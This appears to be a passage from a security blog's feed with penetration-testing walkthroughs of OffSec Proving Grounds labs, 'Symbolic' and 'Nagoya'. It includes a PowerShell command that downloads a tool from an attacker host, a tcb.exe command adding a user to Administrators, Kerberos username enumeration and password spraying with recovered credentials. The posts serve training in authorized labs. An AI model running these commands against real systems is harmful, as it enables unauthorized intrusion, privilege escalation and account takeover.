<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">powershell -ep bypass -c "iwr http://&lt;KALI_IP&gt;/CreateSymlink.exe -o C:\backup\CreateSymlink.exe"</span><br></div></code></pre></div></div>
<p>Replace <code>&lt;KALI_IP&gt;</code> with your interface IP (e.g. <code>192.168.45.182</code>).</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="common-failure-points">Common failure points<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#common-failure-points" class="hash-link" aria-label="Direct link to Common failure points" title="Direct link to Common failure points" translate="no">​</a></h2>
<table><thead><tr><th>Symptom</th><th>Likely cause</th><th>Fix</th></tr></thead><tbody><tr><td>SSH "Permissions too open"</td><td><code>id_rsa</code> mode too wide</td><td><code>chmod 400 id_rsa</code></td></tr><tr><td>Gobuster finds no PDFs</td><td>Wrong case path</td><td>Try <code>/Pdfs/</code>, <code>/pdfs/</code>, <code>/PDFs/</code></td></tr><tr><td>PDF has no key</td><td>Wrong/old PDF file</td><td>List dir again; download newest hash</td></tr><tr><td><code>tcb.exe</code> runs but no admin</td><td>Common on this box — <strong>use CreateSymlink instead</strong></td><td>Skip TCB; symlink path is the working solve</td></tr><tr><td>CreateSymlink "access denied"</td><td>Missing symlink privilege</td><td>Run from <code>p4yl0ad</code> context on PG (lab grants rights); use <strong><code>CreateSymlink.exe</code></strong>, not manual <code>mklink</code></td></tr><tr><td>Symlink created but no key in log</td><td>App not triggered</td><td>Generate new PDF; check <code>C:\backup\logs</code> and <code>C:\xampp\htdocs\logs</code></td></tr><tr><td><code>iwr</code> fails</td><td>Kali firewall / wrong IP</td><td><code>curl -I http://KALI/</code> from Windows; bind <code>python3 -m http.server 80</code></td></tr><tr><td>Admin SSH denied</td><td>Incomplete key file</td><td>Ensure <code>-----BEGIN/END-----</code> lines intact; UNIX line endings</td></tr></tbody></table>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="key-takeaways">Key takeaways<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#key-takeaways" class="hash-link" aria-label="Direct link to Key takeaways" title="Direct link to Key takeaways" translate="no">​</a></h2>
<ol>
<li class=""><strong>Generated artifacts</strong> (PDFs, exports, caches) are secret-leak territory — treat <code>/Pdfs/</code> like a public S3 bucket.</li>
<li class=""><strong><code>SeTcbPrivilege</code></strong> looks like an easy win — always run <code>whoami /priv</code>, but <strong>verify</strong> the abuse tool actually works; symlink was the real path here.</li>
<li class=""><strong>Symbolic links</strong> let you redirect <strong>privileged file opens</strong> — the lab name is the hint.</li>
<li class=""><strong>OpenSSH on Windows</strong> means administrator keys live at <code>C:\Users\Administrator\.ssh\</code> — high value for symlink targets.</li>
<li class="">Chain <strong>web misconfig → key leak → privesc → second credential</strong> mirrors real engagements where PDF/report services exfil secrets.</li>
</ol>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="references">References<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#references" class="hash-link" aria-label="Direct link to References" title="Direct link to References" translate="no">​</a></h2>
<ul>
<li class=""><a href="https://github.com/googleprojectzero/symboliclink-testing-tools" target="_blank" rel="noopener noreferrer" class="">CreateSymlink / symbolic link testing tools (Google Project Zero)</a></li>
<li class=""><a href="https://learn.microsoft.com/en-us/windows/win32/secauthz/privilege-constants" target="_blank" rel="noopener noreferrer" class="">Windows privilege constants — SeTcbPrivilege</a></li>
<li class=""><a href="https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_keymanagement" target="_blank" rel="noopener noreferrer" class="">OpenSSH for Windows key paths</a></li>
<li class="">OffSec Proving Grounds — <strong>Symbolic</strong> (authorized lab environment)</li>
</ul>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="one-line-summary">One-line summary<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#one-line-summary" class="hash-link" aria-label="Direct link to One-line summary" title="Direct link to One-line summary" translate="no">​</a></h2>
<p><strong>nmap → gobuster <code>/Pdfs/</code> → SSH key in PDF → <code>p4yl0ad</code> → CreateSymlink <code>request.log</code> → Administrator <code>id_rsa</code> → SSH administrator → flags.</strong></p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="appendix--tcbexe-textbook-path-did-not-work-here">Appendix — <code>tcb.exe</code> (textbook path; did not work here)<a href="https://blog.artofvector.com/blog/symbolic-pg-symlink-tcb#appendix--tcbexe-textbook-path-did-not-work-here" class="hash-link" aria-label="Direct link to appendix--tcbexe-textbook-path-did-not-work-here" title="Direct link to appendix--tcbexe-textbook-path-did-not-work-here" translate="no">​</a></h2>
<p>Some Symbolic write-ups show adding yourself to Administrators with <strong>SeTcbPrivilege</strong>:</p>
<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">cd C:\backup</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">.\tcb.exe "C:\Windows\system32\cmd.exe /c net localgroup administrators p4yl0ad /add"</span><br></div></code></pre></div></div>
<p><strong>Why it appears in guides:</strong> <code>SeTcbPrivilege</code> (<em>Act as part of the operating system</em>) lets a process authenticate as arbitrary users — abuse tools like <code>tcb.exe</code> wrap that into "run this command as SYSTEM/TCB."</p>
<p><strong>Why we keep it in the post:</strong> Recon value — when you see <strong>SeTcbPrivilege Enabled</strong>, you <em>should</em> try the TCB angle once. It teaches the privilege class even when this instance blocks it.</p>
<p><strong>What happened on this run:</strong> Command returned without adding <code>p4yl0ad</code> to <strong>Administrators</strong> (<code>whoami /groups</code> unchanged). <strong>Do not burn time debugging TCB</strong> — pivot to <strong>CreateSymlink</strong> (Phase 5), which is what the lab name signals anyway.</p>]]></content:encoded>
            <category>Offsec</category>
            <category>Walkthrough</category>
            <category>Labs</category>
            <category>Privilege Escalation</category>
            <category>SSH</category>
            <category>Symbolic Link</category>
        </item>
        <item>
            <title><![CDATA[OffSec Proving Grounds Nagoya — AD Kerberoast to SYSTEM]]></title>
            <link>https://blog.artofvector.com/blog/nagoya-active-directory-kerberoast</link>
            <guid>https://blog.artofvector.com/blog/nagoya-active-directory-kerberoast</guid>
            <pubDate>Sat, 12 Sep 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[OffSec Proving Grounds Nagoya Active Directory walkthrough — password spraying, SYSVOL credentials, Kerberoasting, MSSQL xp_cmdshell, and PrintSpoofer to SYSTEM.]]></description>
            <content:encoded><![CDATA[<p>In this Art of Vector walkthrough, we take OffSec Proving Grounds Nagoya from a full Active Directory port map to SYSTEM by chaining employee username harvesting, seasonal password spraying, SYSVOL credential recovery, Kerberoasting, helpdesk password resets, MSSQL <code>xp_cmdshell</code>, and PrintSpoofer.</p>
<!-- -->
<p><strong>Lab only.</strong> All testing was performed in an authorized training environment. Never run these techniques against systems you do not own or do not have explicit written permission to assess.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="summary">Summary<a href="https://blog.artofvector.com/blog/nagoya-active-directory-kerberoast#summary" class="hash-link" aria-label="Direct link to Summary" title="Direct link to Summary" translate="no">​</a></h2>
<p>Nagoya is a Windows Domain Controller for <code>nagoya-industries.com</code>. The public IIS site exposes employee names. Those names validate over Kerberos, and season-themed passwords (<code>Spring2023</code>, <code>Summer2023</code>) spray successfully.</p>
<p>Authenticated SMB access to <code>SYSVOL</code> recovers a helpdesk password-reset tool with a hardcoded service account. That account Kerberoasts <code>svc_mssql</code> (<code>Service1</code>), enables password resets over RPC, and leads to WinRM. A SOCKS tunnel then reaches MSSQL over Kerberos as Administrator. <code>xp_cmdshell</code> plus <code>SeImpersonatePrivilege</code> and PrintSpoofer finish the host.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="enumeration">Enumeration<a href="https://blog.artofvector.com/blog/nagoya-active-directory-kerberoast#enumeration" class="hash-link" aria-label="Direct link to Enumeration" title="Direct link to Enumeration" translate="no">​</a></h2>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="nmap">Nmap<a href="https://blog.artofvector.com/blog/nagoya-active-directory-kerberoast#nmap" class="hash-link" aria-label="Direct link to Nmap" title="Direct link to Nmap" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">nmap -sV -sC -p- 192.168.120.21 -v</span><br></div></code></pre></div></div>
<p>Full scan output:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Nmap scan report for 192.168.120.21</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Host is up (0.029s latency).</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Not shown: 65512 filtered tcp ports (no-response)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">PORT      STATE SERVICE           VERSION</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">53/tcp    open  domain            Simple DNS Plus</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">80/tcp    open  http              Microsoft IIS httpd 10.0</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">| http-methods: </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_  Supported Methods: GET HEAD OPTIONS</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_http-server-header: Microsoft-IIS/10.0</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_http-title: Nagoya Industries - Nagoya</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_http-favicon: Unknown favicon MD5: 9200225B96881264E6481C77D69C622C</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2026-09-11 20:44:38Z)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">135/tcp   open  msrpc             Microsoft Windows RPC</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com, Site: Default-First-Site-Name)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">445/tcp   open  microsoft-ds?</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">464/tcp   open  kpasswd5?</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">636/tcp   open  ldapssl?</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: nagoya-industries.com, Site: Default-First-Site-Name)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">3269/tcp  open  globalcatLDAPssl?</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">3389/tcp  open  ms-wbt-server     Microsoft Terminal Services</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_ssl-date: 2026-09-11T20:46:12+00:00; 0s from scanner time.</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">| ssl-cert: Subject: commonName=nagoya.nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">| Issuer: commonName=nagoya.nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">| Public Key type: rsa</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">| Public Key bits: 2048</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">| Signature Algorithm: sha256WithRSAEncryption</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">| Not valid before: 2026-09-10T20:37:57</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">| Not valid after:  2027-03-12T20:37:57</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">| rdp-ntlm-info: </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|   Target_Name: NAGOYA-IND</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|   NetBIOS_Domain_Name: NAGOYA-IND</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|   NetBIOS_Computer_Name: NAGOYA</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|   DNS_Domain_Name: nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|   DNS_Computer_Name: nagoya.nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|   DNS_Tree_Name: nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|   Product_Version: 10.0.17763</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_  System_Time: 2026-09-11T20:45:32+00:00</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">5985/tcp  open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_http-server-header: Microsoft-HTTPAPI/2.0</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_http-title: Not Found</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">9389/tcp  open  mc-nmf            .NET Message Framing</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">49666/tcp open  msrpc             Microsoft Windows RPC</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">49667/tcp open  msrpc             Microsoft Windows RPC</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">49675/tcp open  ncacn_http        Microsoft Windows RPC over HTTP 1.0</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">49676/tcp open  msrpc             Microsoft Windows RPC</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">49678/tcp open  msrpc             Microsoft Windows RPC</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">49691/tcp open  msrpc             Microsoft Windows RPC</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">49698/tcp open  msrpc             Microsoft Windows RPC</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">49717/tcp open  msrpc             Microsoft Windows RPC</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Service Info: Host: NAGOYA; OS: Windows; CPE: cpe:/o:microsoft:windows</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain" style="display:inline-block"></span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Host script results:</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">| smb2-time: </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|   date: 2026-09-11T20:45:34</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_  start_date: N/A</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">| smb2-security-mode: </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|   3.1.1: </span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">|_    Message signing enabled and required</span><br></div></code></pre></div></div>
<p>This is a Domain Controller: DNS, Kerberos, LDAP, SMB, RDP, and WinRM are all present. Domain and host names:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Domain: nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Host:   nagoya.nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">NetBIOS: NAGOYA / NAGOYA-IND</span><br></div></code></pre></div></div>
<p>Anonymous LDAP bind is rejected:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">ldapsearch -x -H ldap://192.168.120.21 -b "dc=nagoya-industries,DC=com"</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">result: 1 Operations error</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">text: 000004DC: LdapErr: DSID-0C090A5E, comment: In order to perform this opera</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain"> tion a successful bind must be completed on the connection., data 0, v4563</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="employee-username-harvest">Employee username harvest<a href="https://blog.artofvector.com/blog/nagoya-active-directory-kerberoast#employee-username-harvest" class="hash-link" aria-label="Direct link to Employee username harvest" title="Direct link to Employee username harvest" translate="no">​</a></h3>
<p>The IIS site (<code>Nagoya Industries</code>) lists staff names. Save them as <code>First.Last</code> into <code>user.txt</code>:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Matthew.Harrison</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Emma.Miah</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Rebecca.Bell</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Scott.Gardner</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Terry.Edwards</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Holly.Matthews</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Anne.Jenkins</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Brett.Naylor</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Melissa.Mitchell</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Craig.Carr</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Fiona.Clark</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Patrick.Martin</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Kate.Watson</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Kirsty.Norris</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Andrea.Hayes</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Abigail.Hughes</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Melanie.Watson</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Frances.Ward</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Sylvia.King</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Wayne.Hartley</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Iain.White</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Joanna.Wood</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Bethan.Webster</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Elaine.Brady</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Christopher.Lewis</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Megan.Johnson</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Damien.Chapman</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Joanne.Lewis</span><br></div></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="kerbrute-user-enumeration">Kerbrute user enumeration<a href="https://blog.artofvector.com/blog/nagoya-active-directory-kerberoast#kerbrute-user-enumeration" class="hash-link" aria-label="Direct link to Kerbrute user enumeration" title="Direct link to Kerbrute user enumeration" translate="no">​</a></h3>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">./kerbrute_linux_amd64 userenum --dc 192.168.120.21 -d nagoya-industries.com user.txt</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Brett.Naylor@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Anne.Jenkins@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Rebecca.Bell@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Terry.Edwards@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Holly.Matthews@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Craig.Carr@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Emma.Miah@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Scott.Gardner@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Matthew.Harrison@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Melissa.Mitchell@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Kirsty.Norris@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Kate.Watson@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Patrick.Martin@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Melanie.Watson@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Frances.Ward@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Abigail.Hughes@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Andrea.Hayes@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Fiona.Clark@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Wayne.Hartley@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Sylvia.King@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Damien.Chapman@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Iain.White@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Megan.Johnson@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Christopher.Lewis@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Joanna.Wood@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Elaine.Brady@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Bethan.Webster@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  [+] VALID USERNAME:       Joanne.Lewis@nagoya-industries.com</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 20:20:58 &gt;  Done! Tested 28 usernames (28 valid) in 0.067 seconds</span><br></div></code></pre></div></div>
<p>All 28 harvested names are valid domain accounts.</p>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="initial-access--password-spray">Initial access — password spray<a href="https://blog.artofvector.com/blog/nagoya-active-directory-kerberoast#initial-access--password-spray" class="hash-link" aria-label="Direct link to Initial access — password spray" title="Direct link to Initial access — password spray" translate="no">​</a></h2>
<p>Season-themed passwords fit the Nagoya climate theme (<a href="https://www.climatestotravel.com/climate/japan/nagoya" target="_blank" rel="noopener noreferrer" class="">climatestotravel.com — Nagoya</a>):</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">./kerbrute_linux_amd64 passwordspray --dc 192.168.120.21 -d nagoya-industries.com user.txt "Spring2023"</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 21:09:26 &gt;  [+] VALID LOGIN:  Craig.Carr@nagoya-industries.com:Spring2023</span><br></div></code></pre></div></div>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">./kerbrute_linux_amd64 passwordspray --dc 192.168.120.21 -d nagoya-industries.com user.txt "Summer2023"</span><br></div></code></pre></div></div>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">2026/09/11 21:09:36 &gt;  [+] VALID LOGIN:  Fiona.Clark@nagoya-industries.com:Summer2023</span><br></div></code></pre></div></div>
<p>Valid domain credentials:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#393A34;--prism-background-color:#f6f8fa"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#393A34;background-color:#f6f8fa"><code class="codeBlockLines_e6Vv"><div class="token-line" style="color:#393A34"><span class="token plain">Craig.Carr  : Spring2023</span><br></div><div class="token-line" style="color:#393A34"><span class="token plain">Fiona.Clark : Summer2023</span><br></div></code></pre></div></div>
